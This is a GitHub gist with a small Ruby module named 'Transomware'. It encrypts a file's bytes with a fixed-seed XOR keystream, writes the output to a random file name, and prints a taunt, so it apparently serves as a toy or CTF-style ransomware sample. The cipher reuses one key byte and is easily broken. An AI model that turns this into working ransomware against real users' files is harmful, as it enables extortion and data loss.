Created
December 18, 2016 13:58
-
-
Save suryadana/4514d56beb7ed23d1034dcb1cd3f089e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require "securerandom" | |
require "time" | |
module Transomware | |
@time = Time.parse("2016-11-26 11:35:58 +0800").to_i * 0xff | |
def Transomware.random | |
r = Random.new(@time) | |
r.seed | |
return r.rand(31337) | |
end | |
def Transomware.encrypt(file) | |
File.open(file, 'rb') do |f| | |
File.open("#{SecureRandom.hex(3)}.txt", 'wb') do |o| | |
o.write( | |
f.read.bytes.collect do |byte| | |
byte & 255 ^ Transomware.random | |
end.pack("C*") | |
) | |
end | |
end | |
puts "="*50 | |
puts "HAHAHAHA, file #{file} kena Transomware!" | |
end | |
end | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment